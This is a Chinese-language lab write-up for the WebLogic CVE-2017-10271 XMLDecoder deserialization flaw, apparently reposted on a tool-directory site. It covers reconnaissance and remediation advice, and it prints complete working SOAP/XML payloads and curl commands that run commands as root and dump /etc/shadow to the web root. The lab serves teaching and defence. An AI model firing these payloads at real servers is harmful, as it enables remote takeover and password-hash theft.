Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-10271 | Kitploit
工具/GitHubGitHub/dungsocool/cve-2017-10271
权限提升漏洞分析漏洞利用Web应用程序漏洞利用数据泄露后渗透利用渗透测试学习与教育二进制利用实验室与实践
GitHubdungsocool/cve-2017-10271

CVE-2017-10271

2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

LAB 2 - CVE-2017-10271:WebLogic XMLDecoder 反序列化漏洞 Writeup

一、系统分析

系统日志分析

image.png

  • 检测到的服务: Oracle WebLogic Server(AdminServer,属于 base_domain,以 Development Mode 运行)。
  • 连接端口: 7001。
  • 支持的协议: http、t3、iiop、ldap、snmp。
  • 攻击面评估:
    • 该服务在 7001 端口上暴露了 t3 协议。如果 WebLogic 版本未针对与通过 RMI(远程方法调用)进行 Java 对象反序列化相关的漏洞打补丁,这一默认配置会带来高风险。
    • Web 管理控制台界面在 7001 端口的 http 协议上运行,这使得它容易遭受针对 /console/login/LoginForm.jsp 等敏感端点的目录扫描。

在识别出目标开放的端口后,我们将使用 nmap 扫描该端口,以确定其运行的服务。

image.png

因此,目标运行着一个 HTTP 服务,版本为 Oracle WebLogic Server 10.3.6.0 —— 一个以一系列严重 CVE(如反序列化、认证绕过)而闻名的企业级 Java 应用服务器。然而,仅凭这些信息还不足以断定系统具体存在哪个漏洞。我们需要深入扫描其附带的 Web 服务组件。

接下来,我们将使用 dirsearch 工具识别其敏感端点。由于 WebLogic 运行在 Java 平台上,.jsp 和 .xml 文件是最敏感的目标。我们将重点关注返回 200 状态码的端点。

dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

image.png

  • /console/login/LoginForm.jsp: WebLogic 管理控制台 Web 界面的登录门户。这是针对默认凭据暴力破解或认证绕过漏洞(如 CVE-2020-14882)的重要目标。
  • /bea_wls_internal/: WebLogic Server 的默认内部 Web 应用目录。该组件允许访问系统静态文件并与之交互。
  • /wls-wsat/CoordinatorPortType: 这是最关键的发现。该路径存在并返回 200 OK 状态码,确认 Web Services Atomic Transactions(wls-wsat) 组件已启用并准备好接收数据。
  • /uddiexplorer 和 /uddi/uddilistener: 这是 UDDI Explorer(通用描述、发现与集成服务)组件,WebLogic Server 默认集成该组件用于管理和注册 Web Services。该组件因 SSRF(服务端请求伪造)- CVE-2014-4210 漏洞而极为著名。攻击者可以利用 UDDI 在 /uddiexplorer/SearchPublicRegistries.jsp 端点的公共注册表搜索接口,强制 WebLogic 服务器向后端内部网络发送任意 HTTP 请求。

⇒ 思考: /wls-wsat(存在通过 XMLDecoder 实现 RCE 的风险)与 /uddiexplorer(存在 SSRF 风险)的共存表明该 WebLogic 服务器的攻击面极其宽广。

在识别出 WebLogic 10.3.6.0 服务器上同时存在的两个独立攻击面之后,我们分析这两个方向:

  1. /uddiexplorer 处的 SSRF 漏洞(CVE-2014-4210):
    • 影响程度:中。 允许从服务器发送间接 HTTP 请求,以扫描局域网中的端口或与内部服务(如 Redis)交互。
    • 局限性: 无法直接获得操作系统级别的控制权(OS Level)。从 SSRF 升级到 RCE 在很大程度上取决于内部网络中是否存在其他配置错误的服务。
  2. /wls-wsat 处的 XMLDecoder 反序列化漏洞(CVE-2017-10271):
    • 影响: 严重。允许以运行进程的权限直接在服务器上执行任意远程代码(RCE)。

⇒ 决策: 在网络攻击链模型中,RCE 始终是最终目标,因为它能直接、完全地控制系统(系统完全沦陷)。一旦获得 RCE 能力,通过 UDDI 应用利用 SSRF 就变得多余。因为从 RCE shell 中,我们可以使用系统命令(如 curl、wget)以直接、灵活且更强大的方式主动进行内网探测,而不受 UDDI 接口参数的限制。

因此,按照漏洞利用的优先级逻辑,我们决定放弃次要路径(/uddiexplorer 处的 SSRF),将全部精力集中在研究通过 /wls-wsat/CoordinatorPortType 处的 XMLDecoder 反序列化漏洞实现远程代码执行(RCE)。

漏洞机制分析与测试

CVE-2017-10271 的根本漏洞在于 WebLogic 的 WorkContextXmlInputAdapter 类使用 java.beans.XMLDecoder 对象解析 <work:WorkContext> 标签中的数据。默认情况下,该 XMLDecoder 类会自动实例化任何以 XML 标签形式定义的 Java 类。由此,我们通过逐步的系统行为交互进行验证。

为快速验证该 servlet 的实际活动状态,发送一个常规的 HTTP GET 探测请求:

curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType

响应返回 HTTP/1.1 200 OK,并带有实现类 CoordinatorPortTypePortImpl,确认该 servlet 已成功加载到 JVM 内存中。

POST 数据处理验证

由于 Web Services servlet 设计为通过 POST 方法处理 SOAP XML 数据,我们将通过两个 POST 请求进行对比测试,以演示系统的数据处理流程:

1. 标准 SOAP POST 请求

我们发送一个标准的 SOAP XML Envelope(包含完整命名空间,但不含执行内容),以测试解析器的正常解析能力。

root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

image.png

  • 结果: 系统顺利通过解析器,仅在后台服务逻辑层报错(Cannot find dispatch method)。

分析:

服务器在 POST 端口有一个运行良好的 XML 读取器,随时准备接收并解码用户发送的整个 XML 树结构。这证实了从客户端深入 WebLogic 内存的数据管道完全畅通。

2. 畸形 XML POST 请求

接下来,我们故意破坏 XML 结构(例如,缺少命名空间),以观察解析器的异常处理机制。

root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

image.png

  • 结果: 返回异常 com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv"。

分析:

  1. POST 数据包 Body 中的每个字符、每个 XML 标签都被直接传递到 JVM 内部最底层的 Java XML 解析器(com.ctc.wstx)进行解析。
  2. 系统**中间没有任何检查点、过滤器或 Web 应用防火墙(WAF)**来过滤输入数据。如果存在过滤器,数据包从一开始就会被拦截,而不是深入 Java 解析器层并抛出这样的系统错误。

结论

实际实验结果与系统架构分析的结合——从 wls-wsat servlet 通过 POST 端口接收原始数据包、在解析器层缺少 WAF/健全性过滤器(Sanity Filter),到直接抛出原始 Java XML Reader 错误——证实服务器运行着一个极其敏感的服务结构,该结构直接处于 CVE-2017-10271(XMLDecoder 反序列化)的攻击范围内。

由于 XMLDecoder 的默认解析机制没有任何类控制过滤器,服务器在无净化的条件下接收原始 POST 数据,这为我们设计在下一步直接调用 Java 系统执行对象的 payload 提供了完美的入口。

二、漏洞利用

手动构造 Payload 的思考

由于 WebLogic 10.3.6.0 服务器运行在旧版 Java 环境中,并且未对 XMLDecoder 应用严格的类控制过滤器,攻击者可以直接注入可执行的 Java 对象。

Java 中执行命令的标准类是 java.lang.ProcessBuilder。我们将该 Java 对象初始化逻辑映射为与 XMLDecoder 兼容的 XML 格式:

  • 类初始化声明:<void class="java.lang.ProcessBuilder">
  • 定义包含要运行命令的参数字符串数组:<array class="java.lang.String" length="3">
  • 触发执行方法:<void method="start"/>

绕过无回显 RCE

当通过 ProcessBuilder 执行系统命令时,WebLogic 服务器会在操作系统后台运行该命令,并且只返回 HTTP 500 错误代码(不会将命令输出直接打印到 HTTP 响应的页面上)。这种机制称为 Web 应用程序映射(Web Application Mapping) —— 所有 Web 服务器都以此方式运行。war/ 目录是该应用程序的文档根目录(Document Root)。位于 war/ 中的任何文件都可以通过短 URL 访问。

⇒ 要绕过无回显 RCE,我们必须找到物理路径——因为 id > ... 命令运行在操作系统上,它需要真实路径。

白盒分析:查找 /war 目录

为了找到容器内加载的 bea_wls_internal 应用程序的实际物理路径,我们直接从宿主机执行一次系统搜索查询:

image.png

结果

  • /root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war(原始归档库文件)。
  • /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal(AdminServer 的临时分区 _WL_internal 中解压后的活动应用程序目录)。深入该活动目录,我们找到包含静态文件的子目录:/9j4dqk/war/。这是该应用程序的绝对 Web 根目录,攻击者对此目录拥有写权限,可以写入静态文件以展示 RCE 执行结果。

思考: 设计一个命令,将 id 的输出重定向到上述目录中的静态文件 rce.txt:id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt

创建 XMLDecoder 漏洞利用 Payload

根据以上分析,我们知道 Java 的 XMLDecoder 类会自动实例化并执行任何以 XML 标签形式定义的对象。要在 Java 中调用操作系统命令,标准类是 java.lang.ProcessBuilder。

从等效 Java 代码到 XMLDecoder XML 结构的映射过程:

等效 Java 代码:

root@kitploit:~
String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();

映射为 XMLDecoder XML 标签:

在 Kali Linux 机器上创建包含完整 SOAP 结构的 exploit.xml 文件:

root@kitploit:~
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

从 Kali Linux 机器上,将包含漏洞利用 payload 的 XML 文件发送到目标端点:

root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" \
  -d @exploit.xml

image.png

验证 RCE 结果

访问刚在 Web 根目录中创建的静态文件 rce.txt:

root@kitploit:~
curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

image.png

RCE 漏洞利用成功。 id 命令的结果确认 WebLogic 进程以 root 权限运行。

三、后渗透

权限验证

id 命令的执行结果返回 uid=0(root)。这证明 WebLogic Server 进程直接以操作系统的最高 root 权限运行。攻击者无需任何额外的权限提升步骤即可完全控制系统。

敏感数据收集

攻击者可以轻松读取 /etc/shadow 等敏感系统文件。我们创建 exploit_shadow.xml 文件,通过 XML payload 发送,让 WebLogic 服务器自动执行它。 该 payload 命令服务器读取该文件,并将其输出定向到 Document root 目录,以便从外部 URL 访问。

root@kitploit:~
cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
EOF

然后,发送 payload 并从外部读取文件:

root@kitploit:~
curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml

curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

image.png

完整的系统账户列表以及密码哈希被完全泄露。

反弹 Shell

由于容器运行在隔离的内部网络环境中(Docker 宿主机的 NAT/Bridge),直接向局域网外的 Kali 机器建立反向连接(反弹 Shell)可能会遇到路由障碍。在真实环境(生产环境)中,如果服务器具有出站互联网连接,攻击者完全可以设置反弹 Shell。

然而,直接以 root 权限执行远程代码(RCE)的能力,以及通过 Web 根目录交互式读/写文件的能力,足以确认系统已被完全入侵。

四、评估与建议

风险评估

该 WebLogic 系统上的 XMLDecoder 反序列化漏洞(CVE-2017-10271)被评估为最严重的风险级别(Critical):

修复建议

为彻底修复这一严重安全漏洞,管理员需要立即实施以下措施:

紧急优先(短期):

  1. 删除或禁用 wls-wsat 组件: 如果系统不使用 Web Services Atomic Transactions(WSAT)功能,请删除 WebLogic 安装路径中的 wls-wsat.war 文件夹并重启服务,以彻底移除该攻击面。
  2. 应用安全补丁(Patching): 立即应用 Oracle 针对 CVE-2017-10271 的独立安全更新包,或将 WebLogic Server 升级到更新的安全版本(12c 及以上版本已用安全的替代机制替换了 XML 处理机制)。
  3. 降低进程执行权限: 重新配置 WebLogic 服务,使其在受限用户账户(如 oracle)下运行,绝不要以 root 权限运行进程。

长期优先(纵深防御):

  1. 部署 Web 应用防火墙(WAF): 在 WAF 上配置规则,检测并阻止指向 /wls-wsat/ 端点且包含 XMLDecoder 特征 XML 标签(如 <java>、<object>、<void>、<class>、<method>)的 POST 请求。
  2. 配置网络分段: 隔离 WebLogic 容器,阻止不必要的出站网络流量(Outbound connections),以最大限度降低反弹 Shell 或从外部下载恶意代码进入容器的风险。
下载工具
Java 组件对应的 XML 标签
声明 ProcessBuilder 类<void class="java.lang.ProcessBuilder">
参数数组 String[]<array class="java.lang.String" length="3">
数组元素(索引 0、1、2)<void index="0"><string>...</string></void>
调用 .start() 方法<void method="start"/>
标准评估详情
CVSS 评分9.8(严重)影响评分极高。
身份认证不需要利用该漏洞不需要账户或任何身份认证。
攻击复杂度极低只需发送一个携带恶意 SOAP XML payload 的 HTTP POST 请求。
获取的权限root以最高系统权限完全控制容器。
横向移动高被攻陷的容器可被用作跳板,攻击内部网络中的其他容器以及物理宿主机。